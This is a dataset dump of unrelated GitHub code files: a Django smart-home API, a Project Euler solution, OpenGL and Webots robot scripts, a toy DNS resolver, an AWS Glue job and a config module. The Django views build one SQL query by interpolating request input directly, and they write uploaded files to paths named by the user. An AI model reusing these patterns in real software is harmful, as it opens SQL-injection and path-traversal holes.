set_hconfig(rdata)\n    rdata['state'] = 'ok'\n    return JsonResponse(rdata)\n\ndef set_humidity(request):\n    query_data = json.loads(request.body)\n    rdata = {'pid': query_data['houseNum']}\n    rdata['humidity'] = int(query_data['num'])\n    set_hconfig(rdata)\n    rdata['state'] = 'ok'\n    return JsonResponse(rdata)\n\ndef set_light(request):\n    r\"\"\"\n    POST request\n    设置灯光配置，请求数据\n    必须字段：\n    houseNum -- 节点 id\n    lightId -- 灯光配置 id\n    非必须字段：\n    name -- 灯光名\n    local -- 灯光安置地点\n    light -- 灯光亮度\n    color -- 灯光颜色\n    state -- 灯光状态 1 - 开，0 - 关\n    \"\"\"\n    query_data = json.loads(request.body)\n    rdata = {'pid': query_data['houseNum']}\n    for newConf in query_data['setLights']:\n        lightId = str(newConf['lightId'])\n        conf = lightConf.get_data([lightId])\n        for k in conf:\n            if k in newConf:\n                conf[k] = newConf[k]\n    lightConf.save()\n    rdata['config'] = lightConf.get_data()\n    rdata['state'] = 'ok'\n    return JsonResponse(rdata)\n\ndef set_water(request):\n    query_data = json.loads(request.body)\n    rdata = dict()\n    rdata['water_auto'] = False\n    rdata['water_state'] = bool(query_data['status'])\n    set_hconfig(rdata)\n    rdata['state'] = 'ok'\n    return JsonResponse(rdata)\n\ndef set_curtain(request):\n    query_data = json.loads(request.body)\n    rdata = dict()\n    rdata['curtain_auto'] = False\n    rdata['curtain_state'] = bool(query_data['status'])\n    set_hconfig(rdata)\n    rdata['state'] = 'ok'\n    return JsonResponse(rdata)\n\n############################## 获取系列 ##############################\n\ndef get_ports(request):\n    rdata = {'ports': sql.get_ports()}\n    rdata['state'] = 'ok'\n    return JsonResponse(rdata)\n\ndef get_data(request):\n    # print(f\"get_data = {request.GET}\")\n    r\"\"\"\n    GET request\n    \"\"\"\n    rdata = dict()\n    rdata['pid'] = request.GET['houseNum'][0]\n    if 'startTime' in request.GET and 'endTime' in request.GET:\n        rdata['start_date'] = request.GET['startTime']\n        rdata['end_date'] = request.GET['endTime']\n    else:\n        rdata['start_date'] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time() - 24*3600))\n        rdata['end_date'] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\n    rdata['data_type'] = 'dht'\n    dht_data = sql.get_data(rdata)\n    # rdata['data_type'] = 'light'\n    # light_data = sql.get_data(rdata)\n    # return JsonResponse({'state': 'ok', 'dht_data': dht_data, 'light_data': light_data})\n    return JsonResponse({'state': 'ok', 'dht_data': dht_data})\n\ndef get_light_config(request):\n    r\"\"\"\n    此函数用于返回灯光的配置数据\n\n    Return value / exceptions raised:\n    - 返回一个字典\n    \"\"\"\n    rdata = {'pid': request.GET['houseNum'][0]}\n    if not lightConf.data:\n        lightFields = ['id', 'name', 'local', 'light', 'color', 'state']\n        query_sql = f\"\"\"\n        SELECT {', '.join(['`' + f + '`' for f in lightFields])}\n        FROM `light_config` WHERE `pid` = {rdata['pid']}\n        \"\"\"\n        lights = sql.sql_select(lightFields, query_sql)\n        for light in lights:\n            lid = light['id']\n            del light['id']\n            lightConf.updata(lid, light)\n        # lightConf.save()\n    rdata['lights'] = lightConf.get_data()\n    rdata['state'] = 'ok'\n    return JsonResponse(rdata)\n\ndef get_dht_config(request):\n    r\"\"\"\n    GET request\n    此函数用于返回DHT传感器的配置数据\n\n    Return value / exceptions raised:\n    - 返回一个字典，内容是\n    {\n        \"temperature\": 27,\n        \"humidity\": 44,\n        \"curtain_auto\": true,\n        \"curtain_state\": true,\n        \"water_auto\": false,\n        \"water_state\": false,\n    }\n    \"\"\"\n    rdata = dhtConf.get_data()\n    rdata['pid'] = request.GET['houseNum'][0]\n    rdata['state'] = 'ok'\n    return JsonResponse(rdata)\n\ndef get_masters(request):\n    r\"\"\"\n    GET request\n    返回已经登陆的人脸\n\n    Return value / exceptions raised:\n    - 返回一个列表 [{}, {},]\n    \"\"\"\n    rdata = {'state': 'ok'}\n    masters = [cam.get_user_info(userHeadPic[:-4]) for userHeadPic in os.listdir(FACES)]\n    rdata['masters'] = masters\n    return JsonResponse(rdata)\n\n############################## 添加系列 ##############################\n\ndef add_port(request):\n    r\"\"\"\n    POST 请求:\n    首先获取请求中的 name 和 local 字段插入添加一个节点\n    之后查询最新的节点信息\n    \"\"\"\n    qdata = json.loads(request.body)\n    query_data = [qdata['portName'], qdata['portLocal']]\n    # query_data = ['新', '奥秘客人']\n    query_sql = \"INSERT INTO `ports`(`name`, `local`) VALUES(%s, %s)\"\n    sql.sql_insert(query_sql, query_data)\n\n    query_sql = \"SELECT * FROM `ports` WHERE `id` = (SELECT MAX(`id`) FROM `ports`)\"\n    rdata = sql.sql_select(['id', 'name', 'local'], query_sql)[0]\n    rdata['state'] = 'ok'\n    return JsonResponse(rdata)\n\ndef add_light(request):\n    r\"\"\"\n    POST 请求:\n    需要获取的字段:\n    pid -- 节点 id【必须\n    name -- 灯光名称备注【非必须\n    local -- 灯光布置地点备注【非必须\n    \"\"\"\n    qdata = json.loads(request.body)\n    # qdata = {'pid':1 ,'name': '卧室主灯', 'local': '卧室'}\n    insert_data = dict()\n    for f in ['pid', 'name', 'local']:\n        if qdata.get(f, None):\n            insert_data[f] = qdata[f]\n    query_sql = f\"\"\"\n    INSERT INTO `light_config`({', '.join(['`' + f + '`' for f in insert_data.keys()])})\n    VALUES({', '.join(['%s']*len(insert_data.keys()))})\n    \"\"\"\n    sql.sql_insert(query_sql, list(insert_data.values()))\n\n    query_sql = \"SELECT * FROM `light_config` WHERE `id` = (SELECT MAX(`id`) FROM `light_config`)\"\n    rdata = sql.sql_select(['id', 'pid', 'name', 'local', 'light', 'color', 'state'], query_sql)[0]\n    rdata['state'] = 'ok'\n    return JsonResponse(rdata)\n\ndef add_master(request):\n    r\"\"\"\n    POST 注册新的房屋主人\n    需要的字段：\n    facePic -- 人脸的照片的 base64 编码字符串\n    name -- 需要注册的照片的 id / 名字\n    \"\"\"\n    qdata = json.loads(request.body)\n    with open(f\"{FACES}/{qdata['name']}.jpg\", 'wb') as f:\n        f.write(base64.b64decode(qdata['facePic']))\n    cam.add_user(qdata['name'])\n    rdata = cam.user_info(qdata['name'])\n    return JsonResponse(rdata)\n\n","repo_name":"Hybrogen/HHOME","sub_path":"HHOME/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"46109803790","text":"# 1 ~ 10 사이의 어떤 수로도 나누어 떨어지는 가장 작은 수는 2520입니다.\n# 그러면 1 ~ 20 사이의 어떤 수로도 나누어 떨어지는 가장 작은 수는 얼마입니까?\n\n#방법 1 : 오래 걸림\n# value = 1\n# check = True\n# while check:\n#     for i in range(1,21):\n#         print()\n#         if value % i == 0 :\n#             continue\n#         else :\n#             value = value+1\n#             break\n\n#         print(\"kk\",value)\n#     else:\n#         print(value)\n#         break\n\n\n# 방법2: 수학이론을 적용한 더 빠르고 좋은 방법 #김웅규 t\n\ndef gcd(a,b):\n    while (b!=0):\n        r=a%b\n        a,b=b,r\n    return a\ndef lcm(a,b):\n    return a*b/gcd(a,b)\n\nn=20\nc=lcm(1,2)\nfor i in range(3,n+1):\n    c=lcm(c,i)\nprint(c)\n\n\n#232792560.0","repo_name":"xzeromath/euler","sub_path":"ep5.py","file_name":"ep5.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37011572814","text":"from django.urls import path\nfrom .views import *\n\n\nurlpatterns = [\n    path('', inicio, name=\"inicio\"),\n\n    path('jugadorFormulario/', jugadorFormulario, name=\"jugadorFormulario\"),\n    path('equipoFormulario/', equipoFormulario, name=\"equipoFormulario\"),\n    path('estadioFormulario/', estadioFormulario, name=\"estadioFormulario\"),\n\n    path('busquedaJugador/', busquedaJugador, name=\"busquedaJugador\"),\n    path('buscar/', buscar, name=\"buscar\"),\n\n    path('leerJugadores/', leerJugadores, name=\"leerJugadores\"),\n    path('eliminarJugador/<id>', eliminarJugador, name=\"eliminarJugador\"),\n    path('editarJugador/<id>', editarJugador, name=\"editarJugador\"),\n\n    path('leerEquipos/', leerEquipos, name=\"leerEquipos\"),\n    path('eliminarEquipo/<id>', eliminarEquipo, name=\"eliminarEquipo\"),\n    path('editarEquipo/<id>', editarEquipo, name=\"editarEquipo\"),\n\n    path('leerEstadios/', leerEstadios, name=\"leerEstadios\"),\n    path('eliminarEstadio/<id>', eliminarEstadio, name=\"eliminarEstadio\"),\n    path('editarEstadio/<id>', editarEstadio, name=\"editarEstadio\"),\n    \n\n]","repo_name":"fedebaldasso/Entrega1-Baldasso_Federico","sub_path":"AppEI/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11188336868","text":"import math as mt\n\nfrom Scene.class_scene_Gl import *\n\n\nclass TestGlScene(SceneThird):\n    debug = False\n\n    ambient = (1.0, 1.0, 1.0, 1)  # Первые три числа цвет в формате RGB, а последнее - яркость\n    lightpos = (1.0, 1.0, 1.0)  # Положение источника освещения по осям xyz\n\n    rquad = 2.0\n    speed = 0.1\n    wireframe = False\n\n    cur_x = 0.\n    cur_y = 0.\n\n    def gl_mouse_motion(self, x, y):\n        self.cur_x = x\n        self.cur_y = y\n        self.print('callback gl_mouse_motion in point (%d, %d)' % (x, y))\n        if not self.left_button_down:\n            return\n\n        pass\n\n    def gl_mouse_motion_passive(self, x, y):\n        self.cur_x = x\n        self.cur_y = y\n\n        return super().gl_mouse_motion_passive(x, y)\n\n    def init(self):\n        if self.wireframe:\n            glPolygonMode(GL_FRONT, GL_LINE)\n            glPolygonMode(GL_BACK, GL_LINE)\n        elif not self.wireframe:\n            glPolygonMode(GL_FRONT, GL_FILL)\n            glPolygonMode(GL_BACK, GL_FILL)\n\n        # glLoadIdentity()\n        # glTranslatef(0.0, 0.0, -5.0)\n\n        glLightModelfv(GL_LIGHT_MODEL_AMBIENT, self.ambient)  # Определяем текущую модель освещения\n        glEnable(GL_LIGHTING)  # Включаем освещение\n        glEnable(GL_LIGHT0)  # Включаем один источник света\n        glLightfv(GL_LIGHT0, GL_POSITION, self.lightpos)  # Определяем положение источника света\n\n        glutSetCursor(GLUT_CURSOR_NONE)\n\n        self.gen_draw()\n\n    def gl_key_pressed(self, *args):\n        # todo super().gl_key_pressed(args)\n        if args[0] == b\"c\":\n            self.is_projection_ortho = not self.is_projection_ortho\n        if args[0] == b\"\\x1b\":\n            glutLeaveMainLoop()\n            exit()\n        if args[0] == b\"x\":\n            if not self.wireframe:\n                glPolygonMode(GL_FRONT, GL_LINE)\n                glPolygonMode(GL_BACK, GL_LINE)\n            else:\n                glPolygonMode(GL_FRONT, GL_FILL)\n                glPolygonMode(GL_BACK, GL_FILL)\n            self.wireframe = not self.wireframe\n        elif args[0] == b\"v\":\n            self.rquad = 2\n\n        if args[0] == b\"w\":\n            self.rotate_up()\n        if args[0] == b\"s\":\n            self.rotate_down()\n        if args[0] == b\"a\":\n            self.rotate_left()\n        if args[0] == b\"d\":\n            self.rotate_right()\n\n    def point_pos(self, cnt, r):\n        # type: (int, int) -> TestGlScene\n        # points = [(self.width / 2 + r * mt.cos(a), self.height / 2 + r * mt.sin(a)) for a in [2 * mt.pi * i / cnt for i in range(cnt)]]\n        points = [(r * mt.cos(a), r * mt.sin(a)) for a in [2 * mt.pi * i / cnt for i in range(cnt)]]\n\n        glPointSize(7.0)\n        self.set_pixels(points, self.get_color(150, 0, 0))\n        '''\n        for pt in points:\n            self.setpixel(pt[0], pt[1], self.getcolor(1.0, 0.0, 0.0))\n        '''\n\n        glLineWidth(0.1)\n        for pt1 in points:\n            for pt2 in points:\n                '''\n                c_x1, c_y1 = self.get_xy_scene(pt1[0], pt1[1])\n                c_x2, c_y2 = self.get_xy_scene(pt2[0], pt2[1])\n                self.line(c_x1, c_y1, c_x2, c_y2, self.getcolor(0.0, 1.0, 0.0))\n                '''\n                self.line(pt1[0], pt1[1], pt2[0], pt2[1], self.get_color(0, 150, 0))\n\n        return self\n\n    the_img = None\n\n    def gen_draw(self):\n        self.the_img = glGenLists(1)\n        glNewList(self.the_img, GL_COMPILE)\n        self.draw_obj()\n        glEndList()\n\n    def redraw(self):\n        # type: () -> TestGlScene\n\n        glCallList(self.the_img)\n\n        glPushMatrix()\n        koef = 1\n        c_x, c_y = self.get_xy_scene(self.cur_x, self.cur_y)\n        glTranslatef(c_x * koef / self.nSca, c_y * koef / self.nSca, 0.)\n        # glutSolidCube(0.05)\n        glutSolidSphere(0.01 / self.nSca, 20, 20)\n\n        color = [1, 0.2, 0.5, 1.]\n        glMaterialfv(GL_FRONT, GL_DIFFUSE, color)\n        glDisable(GL_LIGHTING)\n        glPopMatrix()\n\n        glPushMatrix()\n        self.line(0, 0, self.cur_x - self.width / 2, self.cur_y - self.height / 2, self.get_color(0, 0, 255))\n        glPopMatrix()\n\n        return super().redraw()\n\n    def draw_obj(self):\n        # type: () -> TestGlScene\n\n        lol = 45\n\n        '''\n        glPushMatrix()\n        glTranslatef(*self.lightpos)\n        glutSolidSphere(0.05, 20, 20)\n        glPopMatrix()\n        \n        glPushMatrix()\n        glPointSize(17.0)\n        glBegin(GL_POINTS)\n        glColor3d(*self.ambient)\n        glVertex3f(*self.lightpos)\n        glEnd()\n        glPopMatrix()\n        '''\n        glPushMatrix()\n\n        self.lines()\n\n        for x, y in [[-self.width / 2, -self.height / 2], [-self.width / 2, self.height / 2],\n                     [self.width / 2, self.height / 2], [self.width / 2, -self.height / 2]]:\n            '''\n            c_x, c_y = self.get_xy_scene(x + self.width / 2, y + self.height / 2)\n            self.line(0, 0, c_x, c_y, self.getcolor(255, 0, 0))\n            '''\n            self.line(0, 0, x, y, self.get_color(255, 128, 0))\n\n        self.point_pos(lol, self.height / 2)\n        glEnable(GL_LIGHTING)\n        glPopMatrix()\n\n        return self\n\n\nt = TestGlScene(640, 480)\nt.draw()\n","repo_name":"thenzen34/Scene","sub_path":"examples/test_gl_scene3.py","file_name":"test_gl_scene3.py","file_ext":"py","file_size_in_byte":5341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9577107479","text":"\"\"\"my_controller controller.\"\"\"\n\n# You may need to import some classes of the controller module. Ex:\n#  from controller import Robot, Motor, DistanceSensor\nfrom turtle import left\nfrom controller import Robot\nfrom PyCTRNN import CTRNN\nimport numpy\n# create the Robot instance.\nrobot = Robot()\n\n# get the time step of the current world.\ntimestep = int(robot.getBasicTimeStep())\n\n\nbrain = CTRNN(4)\n\nds1 = robot.getDevice(\"ds1\")\nds2 = robot.getDevice(\"ds2\")\nds1.enable(timestep)\nds2.enable(timestep)\nleftMotor = robot.getDevice(\"leftMotor\")\nrightMotor = robot.getDevice(\"rightMotor\")\nleftMotor.setPosition(float(\"inf\"))\nrightMotor.setPosition(float(\"inf\"))\n\n# brain.weights = numpy.zeros((brain.size,brain.size))\n# brain.bias = numpy.zeros(brain.size)\n\n# brain.weights[2,0] = 4\n# brain.weights[3,1] = 4\n# brain.weights[2,1] = -4\n# brain.weights[3,0] = -4\n\nprint(brain.weights)\n\nmutateTimer=0\n\nwhile robot.step(timestep) != -1:\n\n    if(mutateTimer > 100000):\n        brain.mutate(0.5)\n        mutateTimer = 0\n        print(brain.weights)\n    else:\n        mutateTimer += timestep\n    sensorInput = numpy.array([ds1.getValue(),ds2.getValue(),0,0])\n\n    brainOutput = brain.step(sensorInput)\n   \n   \n    leftMotor.setVelocity(5*brainOutput[2])\n    rightMotor.setVelocity(5*brainOutput[3])\n   #print(brainOutput)\n   \n\n# Enter here exit cleanup code.\n","repo_name":"BhargavaGowda/WebotsCTRNNVisual","sub_path":"trial/controllers/my_controller/my_controller.py","file_name":"my_controller.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71430310407","text":"import socket\nimport time\n\ndns_ip = \"127.0.0.1\"\ndns_port = 53\n# Dictionary to store IP address mappings\ndns_cache = {\"www.doryevhttp.com\": \"127.0.0.1\"}\n\n\ndef check_internet():\n    try:\n        socket.getaddrinfo(\"www.google.com\", None)\n        return True\n    except socket.gaierror:\n        return False\n\n\ndef dns_reply():\n    domain, client_ip = sock.recvfrom(1024)\n    domain = domain.decode('utf-8')\n    if domain in dns_cache:\n        ip_address = dns_cache[domain]\n        print(f\"{domain} : {dns_cache[domain]}\")\n        if check_internet():\n            sock.sendto(ip_address.encode('utf-8'), client_ip)\n            print(\"IP SENT\")\n            print(f\"Domain: {domain} , IP : {ip_address}\")\n\n    else:\n        if check_internet():\n            try:\n                ip_address = socket.gethostbyname(domain)\n                dns_cache[domain] = ip_address\n                sock.sendto(ip_address.encode('utf-8'), client_ip)\n                print(\"IP SENT\")\n                print(f\"Domain: {domain} , IP : {ip_address}\")\n\n            except socket.gaierror:\n                print(\"Could not resolve domain / no internet connection\")\n                ip_address = \"Couldn't Resolve\"\n                sock.sendto(ip_address.encode('utf-8'), client_ip)\n\n\nif __name__ == '__main__':\n    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    sock.bind((dns_ip, 53))\n    print(\"DNS SERVER IS ON...\")\n    # Start sniffing DNS queries on port 53 on the specified interface\n    while True:\n        dns_reply()\n        time.sleep(1)\n","repo_name":"yevgenyivanov/Networking_Proj","sub_path":"dns.py","file_name":"dns.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1212044163","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jan 23 11:13:14 2020\r\n\r\n@author: 766810\r\n\"\"\"\r\nelements = \"H He Li Be B C N O F Ne Na Mg Al Si P S Cl Ar K Ca Sc Ti V Cr Mn Fe Co Ni Cu Zn Ga Ge As Se Br Kr Rb Sr Y Zr Nb Mo Tc Ru Rh Pd Ag Cd In Sn Sb Te I Xe Cs Ba La Ce Pr Nd Pm Sm Eu Gd Tb Dy Ho Er Tm Yb Lu Hf Ta W Re Os Ir Pt Au Hg Tl Pb Bi Po At Rn Fr Ra Ac Th Pa U Np Pu Am Cm Bk Cf Es Fm Md No Lr Rf Db Sg Bh Hs Mt Ds Rg Cn Uut Fl Uup Lv Uus Uuo\".split()\r\n\r\nimport PyPDF2\r\ni=elements.index\r\ndef m(w,p=(\"\",[])):\r\n if not w:return p\r\n x,y,z=w[0],w[:2],w[:3]\r\n if x!=y and y in elements:\r\n    a=m(w[2:],(p[0]+y,p[1]+[i(y)]))\r\n    if a:return a\r\n if x in elements:\r\n    b=m(w[1:],(p[0]+x,p[1]+[i(x)]))\r\n    if b:return b\r\n if z in elements:\r\n    c=m(w[3:],(p[0]+z,p[1]+[i(z)]))\r\n    if c:return c\r\n\r\nf=open('/Users/766810/python/largedictionary.pdf','rb')\r\n# creating a pdf reader object \r\npdfReader = PyPDF2.PdfFileReader(f) \r\nfor l in f:\r\n x=m(l[:-1])\r\n if x:print(x[0],x[1])\r\nf.close()","repo_name":"mcvenkat/Python-Programs","sub_path":"Longest Word from Periodic Table 2.py","file_name":"Longest Word from Periodic Table 2.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7986260397","text":"import sys\nimport json\nfrom awsglue.transforms import *\nfrom awsglue.utils import getResolvedOptions\nfrom pyspark.context import SparkContext\nfrom awsglue.context import GlueContext\n\ndef get_s3_object_source_path():\n    args = getResolvedOptions(sys.argv, ['JOB_NAME', 's3_trigger_event'])\n    s3_event = json.loads(args['s3_trigger_event'])\n    bucket = s3_event['s3']['bucket']['name']\n    key = s3_event['s3']['object']['key']\n    s3_file_location = f's3://{bucket}/{key}'\n\n    return s3_file_location\n\ndef get_s3_object_destination_path():\n    output_filename = \"custom_output_file.json\"\n    return get_s3_object_source_path() + \"/\" + output_filename\n\ndef main():\n    sc = SparkContext()\n    glueContext = GlueContext(sc)\n\n    dynamicFrame = glueContext.create_dynamic_frame.from_options(\n      format_options={\"rowTag\": \"Categorias\"},\n      connection_type=\"s3\",\n      format=\"xml\",\n      connection_options={\"paths\": [get_s3_object_source_path()]},\n      transformation_ctx=\"dynamicFrame\",\n    )\n\n    dynamicFrame = dynamicFrame.repartition(1)\n\n    glueContext.write_dynamic_frame.from_options(\n        frame=dynamicFrame,\n        connection_type=\"s3\",\n        connection_options={\"path\": get_s3_object_destination_path(), \"partitionKeys\": []},\n        format=\"json\"\n    )\n\nmain()\n","repo_name":"bryannbarbosa/aws-glue-s3-python","sub_path":"glue.py","file_name":"glue.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33166032394","text":"import json\nfrom machine_settings import _MachineConfig\nimport os.path as os_path\n\n\nENCODING = 'utf8'\n\n\ndef get_config():\n    config = Config()\n    return config\n\n\nclass _ConfigBase:\n    def __init__(self, parent):\n        self._parent = parent\n        machine_config = _MachineConfig()\n        self._initialize(machine_config)\n\n    def _initialize(self, machine_config):\n        pass\n\n    def __str__(self):\n        dict = {}\n        self._toJson(dict, self)\n        return json.dumps(dict, indent=4)\n            \n    @classmethod\n    def _toJson(cls, parent, obj):\n        for attribute_name in dir(obj): \n            if not attribute_name.startswith('_'):\n                attribute = getattr(obj, attribute_name)\n                if isinstance(attribute, _ConfigBase):\n                    child = {}\n                    parent[attribute_name] = child\n                    cls._toJson(child, attribute)\n                else:\n                    parent[attribute_name] = attribute \n        \n\nclass _CheckpointConfig(_ConfigBase):\n    def _initialize(self, _):\n  \n        self.enabled = True\n        self.weights_only = True\n        self.dir = 'checkpoints'\n        self.filename = 'best_model.hdf5'\n\n\nclass _CrossValidationConfig(_ConfigBase):\n    def _initialize(self, machine_config):\n        self.train_set_ids_path = os_path.join(machine_config.data_dir, 'preprocessed/cross-validation/group_1_train_set_1809-2018.txt')\n        self.dev_set_ids_path = os_path.join(machine_config.data_dir, 'preprocessed/cross-validation/group_1_target_dev_set_2018-2018.txt')\n        self.test_set_ids_path = os_path.join(machine_config.data_dir, 'preprocessed/cross-validation/group_1_reporting_test_set_2018-2018.txt')\n        self.encoding = ENCODING\n        self.train_limit = machine_config.train_limit\n        self.dev_limit = machine_config.dev_limit\n        self.test_limit = machine_config.test_limit\n\n\nclass _CsvLoggerConfig(_ConfigBase):\n    def _initialize(self, _):\n\n        self.dir = 'logs'\n        self.filename  = 'logs.csv'\n        self.best_epoch_filename = 'best_epoch_logs.txt'\n        self.encoding = ENCODING\n\n\nclass _DatabaseConfig(_ConfigBase):\n    def _initialize(self, machine_config):\n\n        self.config = { 'user': '****',\n                        'database': '****',\n                        'password': '****', \n                        'host': machine_config.database_host,\n                        'charset': 'utf8mb4', \n                        'collation': 'utf8mb4_unicode_ci', \n                        'use_unicode': True }\n\n\nclass _EarlyStoppingConfig(_ConfigBase):\n    def _initialize(self, _):\n\n        self.min_delta = 0.001\n        self.patience = 2\n\n\nclass _ModelConfig(_ConfigBase):\n    def _initialize(self, _):\n\n        self.checkpoint = _CheckpointConfig(self)\n\n        self.word_embedding_size = 300\n        self.word_embedding_dropout_rate = 0.25\n     \n        self.conv_act = 'relu'\n        self.num_conv_filter_sizes = 3\n        self.min_conv_filter_size = 2\n        self.conv_filter_size_step = 3\n        self.total_conv_filters = 350\n        self.num_pool_regions = 5\n\n        self.num_journals = 30347\n        self.journal_embedding_size = 50\n\n        self.num_hidden_layers = 1\n        self.hidden_layer_size = 3365\n        self.hidden_layer_act = 'relu'\n        self.inputs_dropout_rate = 0.0\n        self.dropout_rate = 0.5\n\n        self.output_layer_act = 'sigmoid'\n        self.output_layer_size = self._pp_config.num_labels \n        \n        self.init_threshold = 0.5\n        self.init_learning_rate = 0.001\n\n    @property\n    def hidden_layer_sizes(self):\n        return [self.hidden_layer_size]*self.num_hidden_layers\n\n    @property\n    def conv_filter_sizes(self):\n        sizes = [self.min_conv_filter_size + self.conv_filter_size_step*idx for idx in range(self.num_conv_filter_sizes)]\n        return sizes\n\n    @property\n    def conv_num_filters(self):\n        num_filters = round(self.total_conv_filters / len(self.conv_filter_sizes))\n        return num_filters\n\n    @property\n    def _pp_config(self):\n        return self._parent.inputs.preprocessing\n\n    @property\n    def vocab_size(self):\n        return self._pp_config.vocab_size\n\n    @property\n    def title_max_words(self):\n        return self._pp_config.title_max_words\n\n    @property\n    def abstract_max_words(self):\n        return self._pp_config.abstract_max_words\n\n    @property\n    def num_year_completed_time_periods(self):\n        return self._pp_config.num_year_completed_time_periods\n\n    @property\n    def num_pub_year_time_periods(self):\n        return self._pp_config.num_pub_year_time_periods\n\n\nclass _PreprocessingConfig(_ConfigBase):\n    def _initialize(self, machine_config):\n\n        self.word_index_lookup_path = os_path.join(machine_config.data_dir, 'preprocessed/vocab/cross_val_group_1_word_index_lookup.pkl') # indices start from 2\n        self.unknown_index = 1\n        self.padding_index = 0\n        self.title_max_words = 64\n        self.abstract_max_words = 448\n        self.num_labels = 1  \n        self.vocab_size = 400000\n        self.min_year_completed= 1965 \n        self.max_year_completed = 2018       \n        self.num_year_completed_time_periods = 1 + self.max_year_completed - self.min_year_completed\n        self.min_pub_year = 1809 \n        self.max_pub_year = 2018    \n        self.num_pub_year_time_periods = 1 + self.max_pub_year - self.min_pub_year\n\n      \nclass _ProcessingConfig(_ConfigBase):\n    def _initialize(self, machine_config):\n              \n        self.run_on_cpu = machine_config.run_on_cpu                                         \n        self.use_multiprocessing = machine_config.use_multiprocessing                                \n        self.workers = machine_config.workers                                                \n        self.max_queue_size = machine_config.max_queue_size\n\n\nclass _ReduceLearningRateConfig(_ConfigBase):\n    def _initialize(self, _):\n\n        self.factor = 0.33\n        self.patience = 1\n        self.min_delta = 0.001\n\n\nclass _RestoreConfig(_ConfigBase):\n     def _initialize(self, machine_config):\n        super()._initialize(machine_config)\n         \n        self.sub_dir = '****'\n        self.model_json_filename = 'model.json'\n        self.encoding = ENCODING\n        self.model_checkpoint_dir = 'checkpoints'\n        self.model_checkpoint_filename = 'best_model.hdf5'\n        self.weights_only_checkpoint = True\n        self.threshold = 0.5\n        self.learning_rate = 0.001\n        \n\nclass _ResumeConfig(_RestoreConfig):\n     def _initialize(self, machine_config):\n        super()._initialize(machine_config)\n\n        self.enabled = False\n        self.resume_checkpoint_filename = 'best_model_resume.hdf5'\n        self.resume_logger_filename  = 'logs_resume.csv'\n\n\nclass _SaveConfig(_ConfigBase):\n    def _initialize(self, _):\n\n        self.settings_filename = 'settings.json'\n        self.model_json_filename = 'model.json'\n        self.encoding = ENCODING\n        self.model_img_filename = 'model.png'\n\n\nclass _TensorboardConfig(_ConfigBase):\n    def _initialize(self, _):\n\n        self.enabled = False\n        self.dir = 'logs'\n        self.write_graph = True\n\n\nclass _EvaluateConfig(_RestoreConfig, _ProcessingConfig):\n    def _initialize(self, machine_config):\n        super()._initialize(machine_config)\n\n        self.results_filename = 'eval-result.txt'\n        self.encoding = ENCODING\n        self.batch_size = 128\n        self.limit = 1000000000\n\n\nclass _PredictConfig(_RestoreConfig, _ProcessingConfig):\n    def _initialize(self, machine_config):\n        super()._initialize(machine_config)\n\n        self.pmids_filepath = '../datasets/pipeline_validation_set.json'\n        self.results_dir = 'predictions_val'\n        self.results_filename = 'predictions.csv'\n        self.dereferenced_filename = 'dereferenced_predictions.csv'\n        self.metrics_filename_template = 'metrics{}.csv'\n        self.journal_groups_filepath = os_path.join(machine_config.data_dir, 'preprocessed/selective-indexing/selectively_indexed_journal_groups.csv') \n        self.encoding = ENCODING\n        self.delimiter = ','\n        self.batch_size = 128\n        self.limit = 1000000000\n    \n \nclass _InputsConfig(_ConfigBase):\n    def _initialize(self, _):\n\n        self.preprocessing = _PreprocessingConfig(self)\n\n\nclass _OptimizeFscoreThresholdConfig(_ProcessingConfig):\n    def _initialize(self, machine_config):\n        super()._initialize(machine_config)\n        \n        self.enabled = True\n        self.batch_size = 128\n        self.limit = 1000000000\n        self.metric_name = 'fscore'\n        self.alpha = 0.005\n        self.k = 3\n\n\nclass _TrainingConfig(_ProcessingConfig):\n    def _initialize(self, machine_config):\n        super()._initialize(machine_config)\n\n        self.batch_size = 128\n        self.initial_epoch = 0\n        self.max_epochs = 500\n        self.train_limit = 1000000000\n        self.dev_limit = 1000000000\n        self.monitor_metric = 'val_fscore'\n        self.monitor_mode = 'max'\n        self.save_config = _SaveConfig(self)\n        self.optimize_fscore_threshold = _OptimizeFscoreThresholdConfig(self)\n        self.reduce_learning_rate = _ReduceLearningRateConfig(self)\n        self.early_stopping = _EarlyStoppingConfig(self)\n        self.tensorboard = _TensorboardConfig(self)\n        self.csv_logger = _CsvLoggerConfig(self)\n        self.resume = _ResumeConfig(self)\n\n\nclass Config(_ConfigBase):\n    def __init__(self):\n        super().__init__(self)\n\n    def _initialize(self, machine_config):\n\n        self.root_dir = machine_config.runs_dir\n        self.data_dir = machine_config.data_dir\n        self.inputs = _InputsConfig(self)\n        self.model = _ModelConfig(self)\n        self.cross_val = _CrossValidationConfig(self)\n        self.train = _TrainingConfig(self)\n        self.eval = _EvaluateConfig(self)\n        self.pred = _PredictConfig(self)\n        self.database = _DatabaseConfig(self)","repo_name":"indexing-initiative/selective_indexing","sub_path":"cnn/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":9929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
